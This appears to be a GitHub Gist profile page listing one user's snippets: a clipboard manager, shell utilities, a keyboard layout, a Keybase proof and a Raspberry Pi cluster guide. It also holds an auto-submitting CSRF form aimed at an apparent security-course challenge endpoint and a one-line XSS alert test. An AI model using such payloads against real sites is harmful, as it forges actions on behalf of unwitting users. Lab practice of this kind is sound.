Skip to content

Instantly share code, notes, and snippets.

@notmike
notmike / clipboard_manager.ahk
Last active April 27, 2025 03:46
AutoHotKey Clipboard Manager
; ==============================================================================
; AutoHotkey v2 Script: Basic Clipboard Manager
; Description: Stores the last N text clipboard entries and allows pasting
; them via a hotkey-activated GUI with shortcuts. Saves history.
; Uses 0-9 for hotkeys. All items display index in GUI.
; Hold Control while pressing Enter/Number (or use Ctrl+Number)
; in GUI to paste as trimmed text (removes newlines and trims spaces).
; ListBox preview now shows literal \n and \t for newlines/tabs
; and uses a monospaced font. Preview length adjusted.
; Added #^v hotkey for direct trimmed paste.
@notmike
notmike / cleanup_pid_files.sh
Created April 11, 2025 14:43
Clean Up PID Files
#!/bin/bash
# Configuration
SEARCH_DIR="$HOME/log" # Directory to search within
MAX_DEPTH=3 # How many subdirectories deep to search
# --- Core Functions ---
# FindPidFiles: Find *.pid files within a given directory up to a max depth
# Arguments:
#!/bin/bash
# Function to display the help message
print_help() {
echo "Usage: $0 [-h] [-d directory] [--enable] [--disable]"
echo "Options:"
echo " -h Display this help message."
echo " -d directory Specify the target directory. (default: current version displayed in KSS)"
echo " --enable Enable JMX in UAT/DEV for all startup scripts"
echo " --disable Disable JMX in UAT/DEV for all startup scripts"
#!/bin/bash
logfile=$1
if [ $# -eq 0 ]; then
echo "Must pass in a file to grep"
exit 1
fi
awk -F ', |:| ' '
BEGIN {
#!/bin/bash
logfile=$1
if [ $# -eq 0 ]; then
echo "Must pass in a file to grep"
exit 1
fi
sum=0
@notmike
notmike / .Xmodmap
Created November 5, 2018 05:25
Happy Hacking Keyboard emulator by xmodmap
! .Xmodmap
! HHKB emulator
! Fn
remove mod1 = Alt_R
keysym Alt_R = Mode_switch
add mod5 = Mode_switch
! arrows
keycode 34 = bracketleft braceleft Up NoSymbol

Keybase proof

I hereby claim:

  • I am notmike on github.
  • I am notmikeg (https://keybase.io/notmikeg) on keybase.
  • I have a public key ASDeAn0YF9uaKvpJXy2er7jxGpYXvZdoGaW_7hJzUTRSWwo

To claim this, I am signing this object:

<form name="hackForm" action="https://security.codepath.com/user/csrfchallengetwo/plusplus" method="POST">
<input type="hidden" name="userId" value="0dbf2cab77fe05bdd42d1bfa17187a304ea385ad" />
<input type="submit"/>
</form>
<script> document.hackForm.submit(); </script>
@notmike
notmike / lol.js
Last active March 5, 2018 21:39
js xss test
<script>javascript:alert('XSS');</script>
@notmike
notmike / rpi-cluster-setup.md
Created June 23, 2017 07:28
RPi Cluster Setup

Raspberry Pi Cluster Setup

Setting Up General Settings for All Raspberry Pi's

Download OS Image

We used Raspbian Jessie (https://www.raspberrypi.org/downloads/raspbian/)

Flash Image to MicroSD

Use Win32DiskImager or Etcher to install your preferred image to the microsd card